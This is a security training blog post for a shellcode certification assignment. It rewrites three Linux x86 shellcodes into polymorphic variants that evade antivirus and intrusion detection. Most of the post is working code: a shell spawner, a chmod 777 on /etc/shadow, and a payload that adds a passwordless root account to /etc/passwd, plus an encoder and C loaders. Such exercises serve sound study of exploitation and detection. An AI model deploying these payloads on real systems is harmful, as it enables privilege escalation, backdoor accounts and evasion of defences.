Amonsec

It's all about security.

A simple blog where you can find different things about digital security.

Polymorphism examples with Linux Intel x86 shellcodes

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-975
Assignment number: #6
Github repositoryhttps://github.com/amonsec/SLAE/tree/master/assignment-6

This post is part of my SLAE series.

You can find the previous post at this address:  https://amonsec.net/training/linux-assembly-x86/2018/metasploit-linux-x86-payloads-analysis

 

Introduction

In this post we will discuss about polymorphism, what is it and why it’s useful nowadays.For that, we are going to take three different shellcode from the very well known Shell Storm website and we will change them in order to have structurally different shellcodes, but with same functionality

Requirements

  • Linux distribution, in my case Ubuntu 10.04 LTS (x86)
  • A keyboard and
  • maybe some caffeine ?!
 

What is polymorphism?

In our case, polymorphism is a technique used to bypass anti virus and intrusion detection systems (IDS) by defeating patterns matching algorithms. So, our shellcode must be structurally different but functionally identical.

To do so, we can:

  • Add garbage instructions that don’t interfere with the shellcode execution;
  • Use different registers, instructions and
  • Use weird instruction

Note, in this post I will create three different polymorphic shellcode but they certainly can be more polymorphic and they are certainly not fully undetectable (FUD) with modern AV and IDS.

 

First example – execve /bin/sh

For the first example, I have chosen a basic shellcode that will spawn a shell. The original shellcode can be found here: http://shell-storm.org/shellcode/files/shellcode-811.php

/*
Title:    Linux x86 execve("/bin/sh") - 28 bytes
Author:    Jean Pascal Pereira <pereira@secbiz.de>
Web:    http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80



*/

#include <stdio.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Instead of pushing /bin/sh into the stack I decided to use a JMP CALL POP techniques, where, after the call of the subroutine, I will POP the next instruction into a register.

The skeleton should be like that:

global _start

section .text
_start:
     jmp short starter

pwn:
     pop ebx
     ; something

starter:
     call pwn
     ; /bin//sh

In order to find something that will after being pushed into the stack represent /bin//sh I used this awesome website that provide both x86 and x64 instructions assemble/disassemble.

First we need to convert our desired string into hexadecimal:

amonsec@ubuntu:/opt/slae/assignment-6$ python
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> a = '/bin//sh'
>>> a.encode('hex')
'2f62696e2f2f7368'
>>>

Then, we can use the website to find a sequence of instructions that will, when pushed into the stack, represent /bin//sh:

polymorphism_examples_with_linux_intel_x86_shellcodes_binsh_instructions.png

Our polymorphic shellcode will look like this.

global _start

section .text
_start:
    jmp short starter

pwn:
    pop ebx                    ; EBX = /bin//sh
    mov al, 0xb                ; #define __NR_execve
    int 0x80                   ; Interruption

starter:
    call pwn
    das                        ; /
    bound ebp, [ecx+0x6e]      ; bin
    das                        ; /
    das                        ; /
    jae short 0x69             ; sh

We extract the final shellcode.

amonsec@ubuntu:/opt/slae/assignment-6/part-1$ nasm -felf32 polymorphic_shell.asm
amonsec@ubuntu:/opt/slae/assignment-6/part-1$ objdump -d polymorphic_shell.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x05\x5b\xb0\x0b\xcd\x80\xe8\xf6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
amonsec@ubuntu:/opt/slae/assignment-6/part-1$

Finally, we can create a C program with your shellcode.

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\xeb\x05\x5b\xb0\x0b\xcd\x80"
"\xe8\xf6\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x2f\x73\x68";

void main(void) {

    printf("Shellcode Length:  %d\n", strlen(shellcode));

    __asm__ (
                "xor %eax, %eax\n\t"
                "xor %ebx, %ebx\n\t"
                "xor %ecx, %ecx\n\t"
                "xor %edx, %edx\n\t"

                "call shellcode"
    );
}

We compile and we try our polymorphic shellcode.

polymorphism_examples_with_linux_intel_x86_shellcodes_first_compilation.png

Note, our polymorphic version have 8 bytes less then the original version.

 

Second example – chmod 777 /etc/shadow

For the second shellcode we will use this one: http://shell-storm.org/shellcode/files/shellcode-828.php who change the permission of the /etc/shadow file where all Linux accounts’s passwords are stored.

xor    %eax,%eax
push   %eax
pushl  $0x776f6461
pushl  $0x68732f2f
pushl  $0x6374652f
movl   %esp,%esi
push   %eax
pushl  $0x37373730
movl   %esp,%ebp
push   %eax
pushl  $0x646f6d68
pushl  $0x632f6e69
pushl  $0x622f2f2f
mov    %esp,%ebx
pushl  %eax
pushl  %esi
pushl  %ebp
pushl  %ebx
movl   %esp,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80

********************************
#include <stdio.h>
#include <string.h>

char *shellcode = 
"\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73"
"\x68\x68\x2f\x65\x74\x63\x89\xe6\x50\x68\x30\x37"
"\x37\x37\x89\xe5\x50\x68\x68\x6d\x6f\x64\x68\x69"
"\x6e\x2f\x63\x66\x68\x2f\x62\x89\xe3\x50\x56\x55"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80;";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

In our case, instead of pushing directly the file name we will randomly store pieces of the file name in registers and then push them in the good order.

global _start

section .text
_start:

     mov ecx, 0x68732f63        ; c/sh
     mov eax, 0x74652f2f        ; //et
     mov ebx, 0x776f6461        ; adow

     push edx                   ; NULL
     push ebx                   ; adow
     push ecx                   ; c/sh
     push eax                   ; //et
     mov ebx, esp               ; EBX = /etc/shadow

Then, we use the SUB instruction instead of moving into EAX the chmod syscall id and the desired mode into ECX.

sub eax, dword 0x74652f20  ; #define __NR_chmod
sub ecx, 0x68732D64        ; ECX = 511
int 0x80                   ; Interruption

Same as before, we extract the shellcode from our shared object, then we create and compile a basic C program that will be used to execute our fresh polymorphic shellcode.

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\xb9\x63\x2f\x73\x68\xb8\x2f\x2f"
"\x65\x74\xbb\x61\x64\x6f\x77\x52"
"\x53\x51\x50\x89\xe3\x2d\x20\x2f"
"\x65\x74\x81\xe9\x64\x2d\x73\x68"
"\xcd\x80\xb0\x01\xcd\x80";

void main(void) {

    printf("File state before shellcode execution: \n");
    system("ls -la /etc/shadow");

    printf("\nShellcode lenght: %d\n", strlen(shellcode));

    __asm__ (
        "xor %eax, %eax\n\t"
        "xor %ebx, %ebx\n\t"
        "xor %ecx, %ecx\n\t"
        "xor %edx, %edx\n\t"

        "call shellcode"
    );
}
polymorphism_examples_with_linux_intel_x86_shellcodes.png
 

Third example – setuid(0) + setgid(0) + add new user

For our last example let’s try with a more complex one. You can find the original code here: http://shell-storm.org/shellcode/files/shellcode-798.php

Original code:

/*
# Exploit Title: Linux/x86 Polymorphic ShellCode - setuid(0)+setgid(0)+add user 'iph' without password to /etc/passwd
# setuid() - setgid() - open() - write() - close() - exit()
# Date: 30/12/2011
# Author: pentesters.ir
# Tested on: Linux x86 - CentOS 6.0 - 2.6.32-71
# Website: http://pentesters.ir/
# Contact: Cru3l.b0y@gmail.com
# By: Cru3l.b0y
# iph::0:0:IPH:/root:/bin/bash
# This ShellCode is Anti-IDS
# Encode: ADD 10

"\xb0\x17"                      // mov    $0x17,%al
"\x31\xdb"                      // xor    %ebx,%ebx
"\xcd\x80"                      // int    $0x80
"\xb0\x2e"                      // mov    $0x2e,%al
"\x53"                          // push   %ebx
"\xcd\x80"                      // int    $0x80
"\x6a\x05"                       // push   $0x5
"\x58"                       // pop    %eax
"\x31\xc9"                    // xor    %ecx,%ecx
"\x51"                       // push   %ecx
"\x68\x73\x73\x77\x64"           // push   $0x64777373
"\x68\x2f\x2f\x70\x61"           // push   $0x61702f2f
"\x68\x2f\x65\x74\x63"           // push   $0x6374652f
"\x89\xe3"                    // mov    %esp,%ebx
"\x66\xb9\x01\x04"              // mov    $0x401,%cx
"\xcd\x80"                      // int    $0x80
"\x89\xc3"                      // mov    %eax,%ebx
"\x6a\x04"                      // push   $0x4
"\x58"                          // pop    %eax
"\x31\xd2"                      // xor    %edx,%edx
"\x52"                          // push   %edx
"\x68\x62\x61\x73\x68"           // push   $0x68736162
"\x68\x62\x69\x6e\x2f"           // push   $0x2f6e6962
"\x68\x6f\x74\x3a\x2f"           // push   $0x2f3a746f
"\x68\x3a\x2f\x72\x6f"           // push   $0x6f722f3a
"\x68\x3a\x49\x50\x48"           // push   $0x4850493a
"\x68\x3a\x30\x3a\x30"           // push   $0x303a303a
"\x68\x69\x70\x68\x3a"           // push   $0x3a687069
"\x89\xe1"                   // mov    %esp,%ecx
"\x6a\x1c"                      // push   $0x1c
"\x5a"                          // pop    %edx
"\xcd\x80"                      // int    $0x80
"\x6a\x06"                       // push   $0x6
"\x58"                          // pop    %eax
"\xcd\x80"                       // int    $0x80
"\x6a\x01"                      // push   $0x1
"\x58"                          // pop    %eax
"\xcd\x80"                    // int    $0x80
*/

// ##### ANTI IDS SHELLCODE #####

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char sc[] =
"\xeb\x11\x5e\x31\xc9\xb1\x64\x80\x6c\x0e\xff\x0a\x80\xe9"
"\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xba\x21\x3b\xe5"
"\xd7\x8a\xba\x38\x5d\xd7\x8a\x74\x0f\x62\x3b\xd3\x5b\x72"
"\x7d\x7d\x81\x6e\x72\x39\x39\x7a\x6b\x72\x39\x6f\x7e\x6d"
"\x93\xed\x70\xc3\x0b\x0e\xd7\x8a\x93\xcd\x74\x0e\x62\x3b"
"\xdc\x5c\x72\x6c\x6b\x7d\x72\x72\x6c\x73\x78\x39\x72\x79"
"\x7e\x44\x39\x72\x44\x39\x7c\x79\x72\x44\x53\x5a\x52\x72"
"\x44\x3a\x44\x3a\x72\x73\x7a\x72\x44\x93\xeb\x74\x26\x64"
"\xd7\x8a\x74\x10\x62\xd7\x8a\x74\x0b\x62\xd7\x8a";

int main()
{
    int (*fp)() = (int(*)())sc;
        printf("bytes: %u\n", strlen(sc));
        fp();
}

First, we can set the uid to 0 and the gid to 0:

global _start

section .text
_start:
     mov al, 0x17            ; sys_setuid
     int 0x80                ; Interruption

     mov al, 0x2e            ; sys_setgid
     int 0x80                 ; Interruption

Then, we use a JMP CALL POP technique in order to don’t directly push the name of the file name that we want to open.

global _start

section .text
_start:
     mov al, 0x17            ; sys_setuid
     int 0x80                ; Interruption

     mov al, 0x2e            ; sys_setgid
     int 0x80                 ; Interruption
     jmp short starter

pwn:
     ; something

starter:
     call pwn
     das
     das
     gs je short 0x64
     das
     jo short 0x62
     jae short 0x74
     ja short 0x65

One more time, we can use both the previous website and python to find a sequence of instruction:

amonsec@ubuntu:/opt/slae/assignment-6$ python
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> a = '//etc/passwd'
>>> a.encode('hex')
'2f2f6574632f706173737764'
>>>
polymorphism_examples_with_linux_intel_x86_shellcodes_3_sequence_instruction.png

Now, we open our file, in our case /etc/passwd

pwn:
     pop ebx                 ; //etc/passwd
     mov byte al, 0x5        ; sys_open
     mov word cx, 0x401      ; Append mode
     int 0x80                ; Interruption
     mov ebx, eax            ; Store the file descriptor

The file is open, so we push into the stack the wanted new user, then we add the new user into the opened file.

push edx
push 0x68732f6e         ; hs/n
push 0x69622f3a         ; ib/:
push 0x2f3a4548         ; /:EH
push 0x433a303a         ; C:0:
push 0x303a3a6c         ; 0::l
push 0x7962306e         ; yb0n
push 0x72336863         ; r3hc
mov ecx, esp            ; ch3rn0byl::0:0:CHE:/:/bin/sh\n

mov al, 0x4             ; sys_write
mov dl, 0x1c            ; len = 28 = 0x1c
int 0x80                ; Interruption

Finally, we close the file and we exit the program.

inc al                  ; sys_close
inc al
int 0x80                ; Interruption

xor eax, eax
mov al, 0x1             ; sys_exit
int 0x80                ; Interruption

Our final shellcode will look like this

global _start

section .text
_start:
     mov al, 0x17            ; sys_setuid
     int 0x80                ; Interruption

     mov al, 0x2e            ; sys_setgid
     int 0x80                 ; Interruption
     jmp short starter

pwn:
     pop ebx                 ; //etc/passwd
     mov byte al, 0x5        ; sys_open
     mov word cx, 0x401      ; Append mode
     int 0x80                ; Interruption
     mov ebx, eax            ; Store the file descriptor 

     push edx
     push 0x68732f6e         ; hs/n
     push 0x69622f3a         ; ib/:
     push 0x2f3a4548         ; /:EH
     push 0x433a303a         ; C:0:
     push 0x303a3a6c         ; 0::l
     push 0x7962306e         ; yb0n
     push 0x72336863         ; r3hc
     mov ecx, esp            ; ch3rn0byl::0:0:CHE:/:/bin/sh\n

     mov al, 0x4             ; sys_write
     mov dl, 0x1c            ; len = 28 = 0x1c
     int 0x80                ; Interruption

     inc al                  ; sys_close
     inc al
     int 0x80                ; Interruption

     xor eax, eax
     mov al, 0x1             ; sys_exit
     int 0x80                ; Interruption

starter:
     call pwn
     das
     das
     gs je short 0x64
     das
     jo short 0x62
     jae short 0x74
     ja short 0x65

Due to the fact the original shellcode use an ADD 10 encoder, we can add 10 to each hexadecimal characters.

amonsec@ubuntu:/opt/slae/assignment-6/part-3$ objdump -d polymorphic_adduser.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\xeb\x43\x5b\xb0\x05\x66\xb9\x01\x04\xcd\x80\x89\xc3\x52\x68\x6e\x2f\x73\x68\x68\x3a\x2f\x62\x69\x68\x48\x45\x3a\x2f\x68\x3a\x30\x3a\x43\x68\x6c\x3a\x3a\x30\x68\x6e\x30\x62\x79\x68\x63\x68\x33\x72\x89\xe1\xb0\x04\xb2\x1c\xcd\x80\xfe\xc0\xfe\xc0\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb8\xff\xff\xff\x2f\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
amonsec@ubuntu:/opt/slae/assignment-6/part-3$
amonsec@ubuntu:/opt/slae/assignment-6/part-3$ cat encoded_shellcode.txt
"\xba\x21\xd7\x8a\xba\x38\xd7\x8a\xf5\x4d\x65\xba\x0f\x70\xc3\x0b\x0e\xd7\x8a\x93\xcd\x5c\x72\x78\x39\x7d\x72\x72\x44\x39\x6c\x73\x72\x52\x4f\x44\x39\x72\x44\x3a\x44\x4d\x72\x76\x44\x44\x3a\x72\x78\x3a\x6c\x83\x72\x6d\x72\x3d\x7c\x93\xeb\xba\x0e\xbc\x26\xd7\x8a\x08\xca\x08\xca\xd7\x8a\x3b\xca\xba\x0b\xd7\x8a\xf2\xc2\x09\x09\x09\x39\x39\x6f\x7e\x6d\x39\x7a\x6b\x7d\x7d\x81\x6e"

With our encoded shellcode we create a C program that will decode our shellcode and execute it.

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\xba\x21\xd7\x8a\xba\x38\xd7\x8a\xf5"
"\x4d\x65\xba\x0f\x70\xc3\x0b\x0e\xd7"
"\x8a\x93\xcd\x5c\x72\x78\x39\x7d\x72"
"\x72\x44\x39\x6c\x73\x72\x52\x4f\x44"
"\x39\x72\x44\x3a\x44\x4d\x72\x76\x44"
"\x44\x3a\x72\x78\x3a\x6c\x83\x72\x6d"
"\x72\x3d\x7c\x93\xeb\xba\x0e\xbc\x26"
"\xd7\x8a\x08\xca\x08\xca\xd7\x8a\x3b"
"\xca\xba\x0b\xd7\x8a\xf2\xc2\x09\x09"
"\x09\x39\x39\x6f\x7e\x6d\x39\x7a\x6b"
"\x7d\x7d\x81\x6e";

int shellcodeLenght;
int x;

void decode(lenght) {
    printf("Decoding your shellcode: \n");

    for (x = 0; x < lenght; x++) {
        shellcode[x] = shellcode[x] - 10;
    }
}

void main(void) {
    shellcodeLenght = strlen(shellcode);

    printf("Shellcode Lenght: %d\n", shellcodeLenght);
    decode(shellcodeLenght);

    __asm__(
        "xor %eax, %eax\n\t"
        "xor %ebx, %ebx\n\t"
        "xor %ecx, %ecx\n\t"
        "xor %edx, %edx\n\t"

        "call shellcode"
    );
}

Finally, we compile and run this program.

polymorphism_examples_with_linux_intel_x86_shellcodes_3_exploit.png
 

So, in this quick post we saw three examples of polymorphism. It’s a really good exercise to pick some written shellcodes and try to modify them in order to find new obscure instructions or methods. Moreover, polymorphism is a good way to bypass some AV or IDS, so, understanding the concept and be able to customise a shellcode is always a plus.

 
 

break